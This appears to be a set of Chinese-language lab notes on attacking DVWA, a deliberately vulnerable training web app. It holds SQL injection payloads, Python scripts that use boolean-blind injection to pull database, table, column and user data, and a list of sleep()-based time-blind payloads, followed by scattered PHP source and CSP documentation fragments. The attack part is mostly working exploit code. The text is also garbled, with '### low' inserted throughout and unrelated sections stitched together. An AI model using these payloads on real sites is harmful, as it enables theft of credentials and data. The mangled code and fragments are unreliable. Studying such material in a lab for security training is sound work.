输入’报错: use near ‘’1’’’ 为字符型注入 and 1=2 无报错无返回 存在注入点 order by 2 两列 通过select 1,database()得到数据库
1 2
select 1,table_name from information_schema.tables where table_schema=database() select 1,column_name from information_schema.column where table_name='users/guestbook'
不想让他列很多条:group_concat
1 2 3
dvwa guestbook:comment_id comment name users:user_id first_name last_name,user, password...
length(substr((select column_name from information_schema.columns where table_schema=database() and table_name=%27users%27 limit '+str(i)+',1),1)) ascii(substr((select table_name from information_schema.tables where table_schema=database() limit '+str(i)+',1),'+str(j+1)+',1))='+str(k)+' %23&Submit=Submit%23'
## def getdatabase(): ## for i in range(1,1000): ## ### low = 32 ## ### high = 128 ## mid = (### low+### high)//2 ## while ### low<### high: ## mid = (### low+### high)//2 ## url = host + "id=1'+and+ascii(substr(database()%2C"+str(i)+"%2C1))<"+str(mid)+"+%23+&Submit=Submit#" ## res = sess.get(url,headers=headers).text # ## if "User ID is MISSING from the database" in res: ## ### low = mid+1 ## else: ## ### high = mid ## if mid <=32 or mid >=127: ## break ## ans += chr(### high-1); ## print("database is ->"+ans)
## ## def table: ## databasename='dvwa' ## for i in range(1,100): ## url =host + "id=1'and (select count(table_name) from information_schema.tables where table_schema='"+databasename+"')="+str(i)+"%23&Submit=Submit#" ## res = sess.get(url, headers=headers).text ## if "User ID is MISSING from the database" in res: ## continue ## else: ## table_num=i ## break ## print(table_num) ## for k in range(table_num): ## print( ) ## ans='' ## for i in range(1,1000): ## ### low = 32 ## ### high = 128 ## mid = (### low+### high)//2 ## while ### low<### high: ## mid = (### low+### high)//2 ## url = host + "id=1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase()+limit+"+str(k)+"%2C1)%2C"+str(i)+"%2C1))<"+str(mid)+"+%23+&Submit=Submit#" ## res = sess.get(url,headers=headers).text ## if "User ID is MISSING from the database" in res: ## ### low = mid+1 ## else: ## ### high = mid ## if mid <=32 or mid >=127: ## break ## ans += chr(### high-1); ## print("table is ->"+ans)
## ## def column: ## tablename='guestbook' ## for i in range(1,100): ## url =host + "id=1'and (select count(column_name) from information_schema.columns where table_name='"+tablename+"')="+str(i)+"%23&Submit=Submit#" ## res = sess.get(url, headers=headers).text ## if "User ID is MISSING from the database" in res: ## continue ## else: ## column_num=i ## break ## print(column_num) ## for k in range(column_num): ## ans='' ## for i in range(1,1000): ## ### low = 32 ## ### high = 128 ## mid = (### low+### high)//2 ## while ### low<### high: ## mid = (### low+### high)//2 ## url = host + "id=1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name%3D'"+tablename+"'+limit+"+str(k)+"%2C1)%2C"+str(i)+"%2C1))<"+str(mid)+"+%23+&Submit=Submit#" ## res = sess.get(url,headers=headers).text ## if "User ID is MISSING from the database" in res: ## ### low = mid+1 ## else: ## ### high = mid ## if mid <=32 or mid >=127: ## break ## ans += chr(### high-1) ## print("column is ->" + ans)
#def data table_name='users' columnname='User' for i in range(1,100): url =host + "id=1'and (select count("+columnname+") from "+table_name+")="+str(i)+"%23&Submit=Submit#" res = sess.get(url, headers=headers).text if "User ID is MISSING from the database" in res: continue else: num=i break print(num) for k in range(num): ans='' for i in range(1,1000): ### low = 32 ### high = 128 mid = (### low+### high)//2 while ### low<### high: mid = (### low+### high)//2 url = host + "id=1'+and+ascii(substr((select+"+columnname+"+from+"+table_name+"+limit+"+str(k)+"%2C1)%2C"+str(i)+"%2C1))<"+str(mid)+"+%23+&Submit=Submit#" res = sess.get(url,headers=headers).text if "User ID is MISSING from the database" in res: ### low = mid+1 else: ### high = mid if mid <=32 or mid >=127: break ans += chr(### high-1) print("data is ->"+ans)
2.时间盲注: 存在时间延迟为正确
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
1' and sleep(4)# 1' and if(length(database())=4,sleep(5),1)## //数据库长度 1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)## //数据库名 1' and if((select count(table_name) from information_schema.tables where table_schema='dvwa')=2,sleep(5),1)# //表的个数 1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103,sleep(5),1)# //表名 1' and if((select count(column_name) from information_schema.columns where table_name='users')=11,sleep(5),1)# //列的个数 1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117,sleep(5),1)# //字段名 1' and if(ascii(substr((select user from users limit 0,1),1))=97,sleep(5),1) # //字段
medium:
源码中存在:
1
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
## White list the al### lowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": ## ok break; default: header ("location: ?default=English"); exit; } } ?>
unsafe-inline: Al### lows the use of inline resources, such as inline `<script>` elements, javascript: URLs, inline event handlers, and inline <style> elements. You must include the single quotes. nonce- A whitelist for specific inline scripts using a cryptographic nonce (number used once). The server must generate a unique nonce value each time it transmits a policy. It is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial.
?> <?php if (isset ($_POST['include'])) { $page[ 'body' ] .= " " . $_POST['include'] . " "; } $page[ 'body' ] .= ' <form name="csp" method="POST"> <p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p> <p>1+2+3+4+5=<span id="answer"></span></p> <input type="button" id="solve" value="Solve the sum" /> </form>